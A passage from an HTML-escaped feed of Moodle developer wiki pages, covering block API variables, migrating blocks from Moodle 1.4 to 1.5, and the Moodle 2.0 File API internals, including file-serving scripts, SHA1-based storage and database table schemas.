This variable is a string that contains the human-readable name of the block. It is used to refer to blocks of that type throughout Moodle, for example in the administrator&#039;s block configuration screen and in the editing teacher&#039;s add block menu. It is also the title that is printed when the block is displayed on screen, although blocks can specifically change this title to something else if they wish (see below). The variable is expected to have a valid value after the framework calls the [[Blocks_Howto#method_init| init]] method for each object.&lt;br /&gt;
&lt;br /&gt;
In the case of blocks which may want to configure their title dynamically through instance configuration, it is still essential to provide a valid title inside [[Blocks_Howto#method_init| init]]. This title may then be overridden when the [[Blocks_Howto#method_specialization| specialization]] method is called by the framework:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function specialization() {&lt;br /&gt;
  // At this point, $this-&amp;gt;instance and $this-&amp;gt;config are available&lt;br /&gt;
  // for use. We can now change the title to whatever we want.&lt;br /&gt;
  $this-&amp;gt;title = $this-&amp;gt;config-&amp;gt;variable_holding_the_title;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A lot of blocks seem to use &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
 $this-&amp;gt;title = get_string(&#039;blockname&#039;, ... );&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to set the title of the block (and then put a more specific title inside the language file).&lt;br /&gt;
&lt;br /&gt;
If there is no proper language string, the title of the block will then be set to &#039;&#039;blockname&#039;&#039;. If there is another block with the same generic title, then an error will show up: Naming conflict.&lt;br /&gt;
&lt;br /&gt;
To avoid this error on installations with missing language strings, use a more specific name when calling the language string...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
 $this-&amp;gt;title = get_string(&#039;simplehtml&#039;, ... );&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
That way all blocks will show up with a unique title in the admin area, even if people have not yet succeeded in placing language files in the correct location&lt;br /&gt;
&lt;br /&gt;
=== $this-&amp;gt;version === &lt;br /&gt;
&lt;br /&gt;
This variable should hold each block&#039;s version number in the form &#039;&#039;&#039;YYYYMMDDXX&#039;&#039;&#039;, as per the convention throughout Moodle. The version number is used by Moodle to detect when a block has been upgraded and it consequently needs to run the block&#039;s upgrade code to bring the &amp;quot;old&amp;quot; version of the block&#039;s data up to date. The variable is expected to have a valid value after the framework calls the [[Blocks_Howto#method_init| init]] method for each block.&lt;br /&gt;
&lt;br /&gt;
Most blocks do not keep complex data of their own in the database the way that modules do, so in most cases nothing actually happens during a block version upgrade. However, the version number is displayed in the administration interface for blocks. It is good practice therefore to change your block&#039;s version number when it gains new functionality or receives important bug fixes, to enable site administrators to easily identify the exact version of the block they are working with.&lt;br /&gt;
&lt;br /&gt;
== Named constants: ==&lt;br /&gt;
&lt;br /&gt;
Appearing throughout the code related to the Blocks API, there is a number of predefined constants that are utilized to avoid the use of &amp;quot;magic numbers&amp;quot; in the code. These constants are:&lt;br /&gt;
&lt;br /&gt;
=== BLOCK_TYPE_LIST ===&lt;br /&gt;
&lt;br /&gt;
This is one of the two valid values for the [[Blocks_Howto#variable_content_type| $this-&amp;gt;content_type]] member variable of every block. Its value specifies the exact requirements that Moodle will then have for [[Blocks_Howto#variable_content| $this-&amp;gt;content]].&lt;br /&gt;
&lt;br /&gt;
=== BLOCK_TYPE_TEXT ===&lt;br /&gt;
This is one of the two valid values for the [[Blocks_Howto#variable_content_type| $this-&amp;gt;content_type]] member variable of every block. Its value specifies the exact requirements that Moodle will then have for [[Blocks_Howto#variable_content| $this-&amp;gt;content]].&lt;br /&gt;
&lt;br /&gt;
[[Category:Blocks]]&lt;br /&gt;
[[Category:Tutorial]]&lt;br /&gt;
&lt;br /&gt;
[[es:Desarrollo de bloques]]&lt;br /&gt;
[[ja:開発:ブロック/付録A]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Blocks/Appendix_B&amp;diff=12318</id>
		<title>Blocks/Appendix B</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Blocks/Appendix_B&amp;diff=12318"/>
		<updated>2009-06-21T15:54:47Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Differences in the Blocks API for Moodle versions prior to 1.5 ==&lt;br /&gt;
&lt;br /&gt;
This Appendix will discuss what changes in the Blocks API were introduced by Moodle 1.5 and what steps developers need to take to update their blocks to be fully compatible with Moodle 1.5. Unfortunately, with these changes backward compatibility is broken; this means that blocks from Moodle 1.4 will never work with 1.5 and vice versa.&lt;br /&gt;
&lt;br /&gt;
=== Class naming conventions changed ===&lt;br /&gt;
In Moodle 1.4, all block classes were required to have a name like &#039;&#039;&#039;CourseBlock_something&#039;&#039;&#039; and the base class from which the derived was &#039;&#039;&#039;MoodleBlock&#039;&#039;&#039;. This has changed in Moodle 1.5, to bring the naming conventions in line with other object-oriented aspects of Moodle (for example there are classes enrolment_base, resource_base etc). The new block classes should instead be named like &#039;&#039;&#039;block_something&#039;&#039;&#039; and derive from &#039;&#039;&#039;block_base&#039;&#039;&#039;. This means that in order to make a block compatible with Moodle 1.5, you need to change the class definition&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
class CourseBlock_online_users extends MoodleBlock { ... }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
class block_online_users extends block_base { ... }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An exception to the above is the special case where the block is intended to display a list of items instead of arbitrary text; in this case the block class must derive from class &#039;&#039;&#039;block_list&#039;&#039;&#039; instead, like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
class block_admin extends block_list { ... }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Constructor versus &#039;&#039;init()&#039;&#039; ===&lt;br /&gt;
&lt;br /&gt;
In Moodle 1.4, in each block class it was mandatory to define a constructor which accepted a course data record as an argument (the example is from the actual Online Users block):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function CourseBlock_online_users ($course) {&lt;br /&gt;
  $this-&amp;gt;title        = get_string(&#039;blockname&#039;,&#039;block_online_users&#039;);&lt;br /&gt;
  $this-&amp;gt;content_type = BLOCK_TYPE_TEXT;&lt;br /&gt;
  $this-&amp;gt;course       = $course;&lt;br /&gt;
  $this-&amp;gt;version      = 2004052700;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In contrast, Moodle 1.5 does away with the constructor and instead requires you to define an [[Blocks/Appendix_A#init.28.29| init()]] method that takes no arguments:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function init() {&lt;br /&gt;
  $this-&amp;gt;title   = get_string(&#039;blockname&#039;,&#039;block_online_users&#039;);&lt;br /&gt;
  $this-&amp;gt;version = 2004111600;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Of course, this leaves you without access to the $course object, which you might actually need. Since that&#039;s probably going to be needed inside [[Blocks/Appendix_A#get_content.28.29| get_content()]], the way to retrieve it is by using this code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
  $course = get_record(&#039;course&#039;, &#039;id&#039;, $this-&amp;gt;instance-&amp;gt;pageid);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you are going to need access to $course from inside other methods in addition to [[Blocks/Appendix_A#get_content.28.29| get_content()]], you might fetch the $course object inside the [[Blocks/Appendix_A#specialization.28.29| specialization()]] method and save it as a class variable for later use, in order to avoid executing the same query multiple times:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function specialization() {&lt;br /&gt;
  $this-&amp;gt;course = get_record(&#039;course&#039;, &#039;id&#039;, $this-&amp;gt;instance-&amp;gt;pageid);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Blocks with configuration ===&lt;br /&gt;
&lt;br /&gt;
In Moodle 1.4, blocks could only have what are now (in Moodle 1.5) called &amp;quot;global configuration&amp;quot; options, to differentiate from the new &amp;quot;instance configuration&amp;quot; options. If your block has support for configuration, you will need to take these steps:&lt;br /&gt;
&lt;br /&gt;
# Rename your &#039;&#039;&#039;config.html&#039;&#039;&#039; file to &#039;&#039;&#039;config_global.html&#039;&#039;&#039;.&lt;br /&gt;
# Edit the newly renamed file and completely remove the &amp;lt;form&amp;gt; tag (Moodle now wraps your configuration in a form automatically).&lt;br /&gt;
# If you are using any HTML &amp;lt;input&amp;gt; tags other than those that directly affect your configuration (for example, &amp;quot;sesskey&amp;quot;), REMOVE those too (Moodle will add them automatically as required).&lt;br /&gt;
# If you have overridden &#039;&#039;&#039;print_config&#039;&#039;&#039;, rename your method to [[Blocks/Appendix_A#config_print.28.29|config_print()]].&lt;br /&gt;
# If you have overridden &#039;&#039;&#039;handle_config&#039;&#039;&#039;, rename your method to [[Blocks/Appendix_A#config_save.28.29|config_save()]].&lt;br /&gt;
&lt;br /&gt;
=== Blocks with customized applicable formats ===&lt;br /&gt;
&lt;br /&gt;
The correct way to specify the formats you want to allow or disallow your block to exist has been reworked for Moodle 1.5 to take account of the fact that blocks are no longer restricted to just courses. To have a block retain its intended behavior, you must change these format names (array keys in the return value of [[Blocks/Appendix_A#applicable_formats.28.29| applicable_formats()]] if they are used in your block:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;social&#039;&#039;&#039; should become &#039;&#039;&#039;course-view-social&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;topics&#039;&#039;&#039; should become &#039;&#039;&#039;course-view-topics&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;weeks&#039;&#039;&#039; should become &#039;&#039;&#039;course-view-weeks&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You should also keep in mind that there is now the possibility of blocks being displayed in other pages too, like the introductory page that users see when they enter an activity module. You might therefore need to make the specification for applicable formats more restrictive to keep your block out of pages it is not supposed to be shown in. Also, there are subtle changes to the way that the final decision to allow or disallow a block is made. For the technical details refer to the definition of [[Blocks/Appendix_A#applicable_formats.28.29| applicable_formats()]], and for a more extended example read [[Blocks#Authorized_Personnel_Only|Authorized Personnel Only]], the section dedicated to this subject.&lt;br /&gt;
&lt;br /&gt;
That&#039;s everything; your block will now be ready for use in Moodle 1.5!&lt;br /&gt;
&lt;br /&gt;
[[Category:Blocks]]&lt;br /&gt;
[[Category:Tutorial]]&lt;br /&gt;
&lt;br /&gt;
[[es:Desarrollo de bloques]]&lt;br /&gt;
[[ja:開発:ブロック/付録B]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=File_API_internals&amp;diff=8287</id>
		<title>File API internals</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=File_API_internals&amp;diff=8287"/>
		<updated>2009-04-01T17:23:54Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Moodle_2.0}}&lt;br /&gt;
This specification has now largely been implemented in Moodle 2.0. Inevitably, in the implementation, some details may have changed. If in doubt, read the code. (Then come back and correct this page ;-))&lt;br /&gt;
&lt;br /&gt;
The implementation of this specification is being tracked at MDL-14589.&lt;br /&gt;
&lt;br /&gt;
Please see [[Using the file API]] if you just want to know how to use the File API in your code, rather than how it works internally.&lt;br /&gt;
&lt;br /&gt;
==Objectives==&lt;br /&gt;
&lt;br /&gt;
The goals of these changes are to: &lt;br /&gt;
&lt;br /&gt;
* allow files to be stored within Moodle, as part of the content (as we do now).&lt;br /&gt;
* use a consistent and simple approach for all file handling throughout Moodle.&lt;br /&gt;
* give modules control over which users can access a file, using capabilities and other local rules.&lt;br /&gt;
* make it easy to determine which parts of Moodle use which files, to simplify operations like backup and restore.&lt;br /&gt;
* track where files originally came from.&lt;br /&gt;
* avoid redundant storage, when the same file is used twice.&lt;br /&gt;
* fully support Unicode file names, irrespective of the capabilities of the underlying file system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
The File API is a set of core interfaces to allow the rest of Moodle to:&lt;br /&gt;
# store files, and&lt;br /&gt;
# display files to users.&lt;br /&gt;
It applies only to files that are part of the Moodle site&#039;s content. It is not used for internal files, such as those in the following subdirectories of dataroot: temp, lang, cache, environment, filter, search, sessions, upgradelogs, ...&lt;br /&gt;
&lt;br /&gt;
The API can be subdivided into the following parts:&lt;br /&gt;
; Serving files&lt;br /&gt;
: Lets users accessing a Moodle site get the files (file.php, draftfile.php, pluginfile.php, userfile.php, etc.)&lt;br /&gt;
:* Serve the files on request&lt;br /&gt;
:* with appropriate security checks&lt;br /&gt;
; File API internals&lt;br /&gt;
: Stores the files on disc, with metadata in associated database tables.&lt;br /&gt;
:* Content-addressed storage.&lt;br /&gt;
; File management API&lt;br /&gt;
: Allows code to manipulate the stored files (lib/filelib.php)&lt;br /&gt;
:* find information about stored files.&lt;br /&gt;
:* print links to files.&lt;br /&gt;
:* move/rename/copy/delete/etc.&lt;br /&gt;
:* keep a file synchronised with an external repository.&lt;br /&gt;
; File management user interface&lt;br /&gt;
: Provides the interface for (lib/form/file.php, filemanager.php, filepicker.php and files/index.php, draftfiles.php)&lt;br /&gt;
:* Form elements allowing users to select a file using the Repository API, and have it stored within Moodle.&lt;br /&gt;
:* UI for users to manage their files, replacing the old course files UI&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Serving files ==&lt;br /&gt;
&lt;br /&gt;
TODO revise this section.&lt;br /&gt;
&lt;br /&gt;
Deals with serving of files - browser requests file, Moodle sends it back. We have three main files. It is important to setup slasharguments on server (file.php/some/thing/xxx.jpg), any content that relies on relative links can not work without it (scorm, uploaded html pages, etc.).&lt;br /&gt;
&lt;br /&gt;
=== file.php ===&lt;br /&gt;
&lt;br /&gt;
Serves course files.&lt;br /&gt;
&lt;br /&gt;
Implements basic file access. Ideally only images and files linked from course sections should be there, no XSS protection required - we expect javascript, sw, etc. there, no way to make it &amp;quot;secure&amp;quot;. The access control is not critical any more if we move most of the files into modules&lt;br /&gt;
&lt;br /&gt;
The file name and parameter structure is critical for backwards compatibility of existing course content.&lt;br /&gt;
&lt;br /&gt;
 /file.php/courseid/dir/dir/filename.ext&lt;br /&gt;
&lt;br /&gt;
Internally the files would be stored in &amp;lt;code&amp;gt;array(&#039;contextid&#039;=&amp;gt;$coursecontextid, &#039;filearea&#039;=&amp;gt;&#039;coursefiles&#039;, &#039;itemid&#039;=&amp;gt;0)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== pluginfile.php ===&lt;br /&gt;
&lt;br /&gt;
(aka modfile.php)&lt;br /&gt;
Sends module, block, question files.&lt;br /&gt;
* modules decide about access control&lt;br /&gt;
* optional XSS protection - student submitted files must not be served with normal headers, we have to force download instead; ideally there should be second wwwroot for serving of untrusted files&lt;br /&gt;
* only internal links to selected areas are supported - you can link images in summary area, but not the assignment submissions&lt;br /&gt;
&lt;br /&gt;
Absolute file links need to be rewritten if html editing allowed in module. The links are stored internally as relative links. Before editing or display the internal link representation is converted to absolute links using simple str_replace() @@thipluginlink/summary@@/image.jpg --&amp;gt; /pluginfile.php/assignmentcontextid/intro/image.jpg, it is converted back to internal links before saving.&lt;br /&gt;
&lt;br /&gt;
::Can the distinct file areas supported by one plugin be declared somehow in order add some information about them? For example, I think it can be interesting to declare:&lt;br /&gt;
::* assignment_summary:&lt;br /&gt;
::** relpath=&#039;intro&#039;&lt;br /&gt;
::** userdata=false&lt;br /&gt;
::** anotherproperty=anothervalue&lt;br /&gt;
::* assignment_submission:&lt;br /&gt;
::** relpath=&#039;submission/@@USERID@@&#039;&lt;br /&gt;
::** userdata=false&lt;br /&gt;
::** anotherproperty=anothervalue&lt;br /&gt;
::* and so on...&lt;br /&gt;
::And then, when the editor &amp;quot;receives&amp;quot; one &amp;quot;assignment_summary&amp;quot; areaname, if knows what to show and so on? Also that info could be useful to know, in backup &amp;amp; restore if some fileareas have to be processed or no (userdata=false). Or also, when reconstructing the links (str_replace() above). And will cause to have a well defined list of fileareas by module, instead of coding them in a free way (prone to errors). [[User:Eloy Lafuente (stronk7)|Eloy Lafuente (stronk7)]] 16:35, 28 June 2008 (CDT)&lt;br /&gt;
&lt;br /&gt;
::Something like this will be part of file management API, hardcoding this in file storage would make it less flexible imo [[User:Skodak|Skodak]]&lt;br /&gt;
&lt;br /&gt;
::Yup, yup. Storage doesn&#039;t know anything but get/put files (nothing else). It&#039;s part of management, absolutely. [[User:Eloy Lafuente (stronk7)|Eloy Lafuente (stronk7)]] 11:21, 29 June 2008 (CDT)&lt;br /&gt;
&lt;br /&gt;
 /pluginfile.php/contextid/areaname/arbitrary/params/or/dirs/filename.ext&lt;br /&gt;
&lt;br /&gt;
pluginfile.php detects the type of plugin from context table, fetches basic info (like $course or $cm if appropriate) and calls plugin function (or later method) which does the access control and finally sends the file to user. &#039;&#039;areaname&#039;&#039; separates files by type and divides the context into several subtrees - for example &#039;&#039;summary&#039;&#039; files (images used in module intros), post attachments, etc.&lt;br /&gt;
&lt;br /&gt;
==== Assignment example ====&lt;br /&gt;
&lt;br /&gt;
 /pluginfile.php/assignmentcontextid/intro/someimage.jpg&lt;br /&gt;
 /pluginfile.php/assignmentcontextid/submission/submissionid/attachmentname.ext&lt;br /&gt;
 /pluginfile.php/assignmentcontextid/extra/allsubmissionfiles.zip&lt;br /&gt;
&lt;br /&gt;
::Uhm... all those files together? What&#039;s going to differentiate the &amp;quot;submission&amp;quot; path in the example above from the &amp;quot;summary&amp;quot; path? Is it supposed that the editor, or the filemanager won&#039;t allow , for example to pick-up one file from the &amp;quot;submission&amp;quot; area to be used in the summary of one assignment and only the &amp;quot;summary&amp;quot; area will be showed? That means multiple file managers by context and it&#039;s against the clean &amp;quot;one file manager per context&amp;quot; agreed below [[User:Eloy Lafuente (stronk7)|Eloy Lafuente (stronk7)]] 21:28, 26 June 2008 (CDT)&lt;br /&gt;
::Yes Eloy, the different areas (summary, submission) etc. have different uses, different access control. There are two types of file manager - the two pane file manager which lists all contexts+areas user may access, and minimalistic manager in html editor which shows only subset of areas from current plugin (because you can not link anything else).&lt;br /&gt;
&lt;br /&gt;
====scorm example====&lt;br /&gt;
&lt;br /&gt;
 /pluginfile.php/scormcontextid/intro/someimage.jpg&lt;br /&gt;
 /pluginfile.php/scormcontextid/content/revisionnumber/dir/somescormfile.js&lt;br /&gt;
&lt;br /&gt;
The revision counter is incremented when any file changes in order to prevent caching problems. The lifetime should be adjustable in module settings.&lt;br /&gt;
&lt;br /&gt;
====quiz example====&lt;br /&gt;
&lt;br /&gt;
 pluginfile.php/quizcontextid/intro/niceimage.jpg&lt;br /&gt;
 pluginfile.php/quizcontextid/report/type/export.ods&lt;br /&gt;
&lt;br /&gt;
====questions example====&lt;br /&gt;
&lt;br /&gt;
 pluginfile.php/SYSCONTEXTID/question/questionid/file.jpg&lt;br /&gt;
&lt;br /&gt;
====blog example====&lt;br /&gt;
Blog entries or notes in general do not have context id (because they live in system context, SYSCONTEXTID below is the id of system context).&lt;br /&gt;
The note attachments are always served with XSS protection on, ideally we should use separate wwwroot for this. Access control can be hardcoded.&lt;br /&gt;
&lt;br /&gt;
 /pluginfile.php/SYSCONTEXTID/blog/blogentryid/attachmentname.ext&lt;br /&gt;
&lt;br /&gt;
Internally stored in &amp;lt;code&amp;gt;array(&#039;contextid&#039;=&amp;gt;SYSCONTEXTID, &#039;filearea&#039;=&amp;gt;&#039;blog&#039;, &#039;itemid&#039;=&amp;gt;$blogentryid)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====backup example====&lt;br /&gt;
It would be nice to have some special protection of backup files - new capabilities for backup file download, upload. Backups contain a lot of personal info, we could block restoring of backups from other sites too.&lt;br /&gt;
&lt;br /&gt;
 /pluginfile.php/coursecontextid/backup/backupfile.zip&lt;br /&gt;
&lt;br /&gt;
Internally stored in &amp;lt;code&amp;gt;array(&#039;contextid&#039;=&amp;gt;$coursecontextid, &#039;filearea&#039;=&amp;gt;&#039;backup&#039;, &#039;itemid&#039;=&amp;gt;0)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===userfile.php===&lt;br /&gt;
Personal file storage, intended as an online storage of work in progress like assignments before the submission.&lt;br /&gt;
* read/write own files only for now&lt;br /&gt;
* option to share with others later&lt;br /&gt;
* personal &amp;quot;websites&amp;quot; will not be supported (security)&lt;br /&gt;
&lt;br /&gt;
 /userfile.php/userid/dir/dir/filename.ext&lt;br /&gt;
&lt;br /&gt;
===rssfile.php===&lt;br /&gt;
Replaces rss/file.php which is kept only for backwards compatibility.&lt;br /&gt;
RSS files should not require sessions/cookies, URLs should contain some sort of security token/key.&lt;br /&gt;
Internally the files may be stored in database or together with other files.&lt;br /&gt;
Performance improvements - we should support both Etag (cool) and Last-Modified (more used), when we receive If-None-Match/If-Modified-Since =&amp;gt; 304 &lt;br /&gt;
&lt;br /&gt;
 /rssfile.php/contextid/any/parameters/module/wants/rss.xml&lt;br /&gt;
 /rssfile.php/SYSCONTEXTID/blog/userid/rss.xml&lt;br /&gt;
&lt;br /&gt;
Again modules and plugins decide what gets sent to user.&lt;br /&gt;
&lt;br /&gt;
=== Temporary files ===&lt;br /&gt;
Temporary files are usually used during the lifetime of one script only.&lt;br /&gt;
uses:&lt;br /&gt;
* exports&lt;br /&gt;
* imports&lt;br /&gt;
* zipping/unzipping&lt;br /&gt;
* processing by executable files (latex, mimetex)&lt;br /&gt;
&lt;br /&gt;
Ideally these files should never use utf-8 (which is a major problem for zipping at the moment).&lt;br /&gt;
Proposed new sha1 based file storage is not suitable both for performance and technical reasons.&lt;br /&gt;
&lt;br /&gt;
=== Legacy file storage and serving ===&lt;br /&gt;
Going to use good-old separate directories in $CFG-&amp;gt;dataroot.&lt;br /&gt;
&lt;br /&gt;
file serving and storage:&lt;br /&gt;
# user avatars - user/pix.php&lt;br /&gt;
# group avatars - user/pixgroup.php&lt;br /&gt;
# tex, algebra - filter/tex/* and filter/algebra/*&lt;br /&gt;
# rss cache (?full rss rewrite soon?) - backwards compatibility only rss/file.php&lt;br /&gt;
&lt;br /&gt;
only storage:&lt;br /&gt;
#sessions&lt;br /&gt;
&lt;br /&gt;
== File API internals ==&lt;br /&gt;
&lt;br /&gt;
=== File storage on disk ===&lt;br /&gt;
&lt;br /&gt;
Files are stored in $CFG-&amp;gt;dataroot (also known as moodledata) in the filedir subfolder.&lt;br /&gt;
&lt;br /&gt;
Files are stored according to the SHA1 hash of their content. This means each file with particular contents is stored once, irrespective of how many times it is included in different places, even if it is referred to by different names. (This idea comes from the git version control system.) To relate a file on disc to a user-comprehensible path or filename, you need to use the file database tables. See the next section.&lt;br /&gt;
&lt;br /&gt;
Suppose a file has SHA1 hash 081371cb102fa559e81993fddc230c79205232ce. Then it will be stored in on disc as moodledata/filedir/08/13/71/081371cb102fa559e81993fddc230c79205232ce.&lt;br /&gt;
&lt;br /&gt;
If you were wondering, in PHP, SHA1 hashes can be computed with either the [http://php.net/sha1 sha1] or [http://php.net/sha1_file sha1_file] functions.&lt;br /&gt;
&lt;br /&gt;
The information in this section should be considered completely internal to the file API. Other parts of the Moodle code should manipulate files using the higher level functions of the file API. For example, they should refer to files by file id in the file table, not the SHA1 hash.&lt;br /&gt;
&lt;br /&gt;
=== Files database tables ===&lt;br /&gt;
&lt;br /&gt;
==== Table: files ====&lt;br /&gt;
&lt;br /&gt;
This table contains one entry for each usage of a file. Enough information is kept here so that the file can be fully identified and retrieved again if necessary.&lt;br /&gt;
&lt;br /&gt;
If, for example, the same image is used in a user&#039;s profile, and a forum post, then there will be two rows in this table, one for each use of the file, and Moodle will treat the two as separate files, even though the file is only stored once on disc.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;nicetable&amp;quot;&lt;br /&gt;
! Field&lt;br /&gt;
! Type&lt;br /&gt;
! Default&lt;br /&gt;
! Info&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;id&#039;&#039;&#039; &lt;br /&gt;
| int(10)  &lt;br /&gt;
| auto-incrementing&lt;br /&gt;
| The unique ID for this file.&lt;br /&gt;
|-&lt;br /&gt;
| contenthash&lt;br /&gt;
| varchar(40)&lt;br /&gt;
|  &lt;br /&gt;
| The sha1 hash of content.&lt;br /&gt;
|-&lt;br /&gt;
| pathnamehash&lt;br /&gt;
| varchar(40)&lt;br /&gt;
| &lt;br /&gt;
| The sha1 hash of contextid+filearea+itemid+filepath+filename - prevents file duplicates and allows fast lookup&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;contextid&#039;&#039;&#039; &lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| The context id defined in context table - identifies the instance of plugin owning the file.&lt;br /&gt;
|-&lt;br /&gt;
| filearea&lt;br /&gt;
| varchar(50)&lt;br /&gt;
|&lt;br /&gt;
| Like &amp;quot;submissions&amp;quot;, &amp;quot;intro&amp;quot; and &amp;quot;content&amp;quot; (images and swf linked from summaries), etc.; &amp;quot;blogs&amp;quot; and &amp;quot;userfiles&amp;quot; are special case that live at the system context.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;itemid&#039;&#039;&#039;&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| Some plugin specific item id (eg. forum post, blog entry or assignment submission or user id for user files)&lt;br /&gt;
|-&lt;br /&gt;
| filepath&lt;br /&gt;
| text&lt;br /&gt;
| &lt;br /&gt;
| relative path to file from module content root, useful in Scorm and Resource mod - most of the mods do not need this&lt;br /&gt;
|-&lt;br /&gt;
| filename&lt;br /&gt;
| varchar(255)&lt;br /&gt;
| &lt;br /&gt;
| The full Unicode name of this file (case sensitive)&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;filesize&#039;&#039;&#039;&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| size of file - bytes&lt;br /&gt;
|-&lt;br /&gt;
| mimetype&lt;br /&gt;
| varchar(100)&lt;br /&gt;
| NULL&lt;br /&gt;
| type of file&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;userid&#039;&#039;&#039;&lt;br /&gt;
| int(10)  &lt;br /&gt;
| NULL&lt;br /&gt;
| Optional - general user id field - meaning depending on plugin&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;timecreated&#039;&#039;&#039;&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| The time this file was created&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;timemodified&#039;&#039;&#039;&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| The last time the file was last modified&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Indexes:&lt;br /&gt;
* non-unique index on (contextid, filearea, itemid)&lt;br /&gt;
* non-unique index on (contenthash)&lt;br /&gt;
* unique index on (pathnamehash).&lt;br /&gt;
&lt;br /&gt;
The plugin type does not need to be specified because it can be derived from the context. Items like blog that do not have their own context will use their own file area inside a suitable context. In this case, the user context.&lt;br /&gt;
&lt;br /&gt;
Entries with filename = &#039;.&#039; represent directories. Directory entries like this are created automatically when a file is added within them.&lt;br /&gt;
&lt;br /&gt;
Note: &#039;files&#039; plural used even thought that goes against the [[Coding#Database_structures|coding guidelines]] because &#039;file&#039; is a reserved word.&lt;br /&gt;
&lt;br /&gt;
==== Table: files_metadata ====&lt;br /&gt;
&lt;br /&gt;
This table contains extra metadata about files.  Repositories could provide this, or it could be manually edited in the local copy.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;nicetable&amp;quot;&lt;br /&gt;
! Field&lt;br /&gt;
! Type&lt;br /&gt;
! Default&lt;br /&gt;
! Info&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;id&#039;&#039;&#039; &lt;br /&gt;
| int(10)  &lt;br /&gt;
| auto-incrementing&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;fileid&#039;&#039;&#039;&lt;br /&gt;
| int(10)&lt;br /&gt;
| &lt;br /&gt;
| Foreign key, references files.id&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;name&#039;&#039;&#039;&lt;br /&gt;
| varchar(255)&lt;br /&gt;
| &lt;br /&gt;
| The name of the metadata field&lt;br /&gt;
|-&lt;br /&gt;
| value&lt;br /&gt;
| text&lt;br /&gt;
| &lt;br /&gt;
| The value of this metadata field&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Note: this is not implemented yet.&lt;br /&gt;
&lt;br /&gt;
==== Table: files_sync ====&lt;br /&gt;
&lt;br /&gt;
This table contains information on how to synchronise data with repositories. Data would be synchronised from cron.php or on demand from file manager. The sync would be one way only (repository -&amp;gt; local file).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;nicetable&amp;quot;&lt;br /&gt;
! Field&lt;br /&gt;
! Type &lt;br /&gt;
! Default&lt;br /&gt;
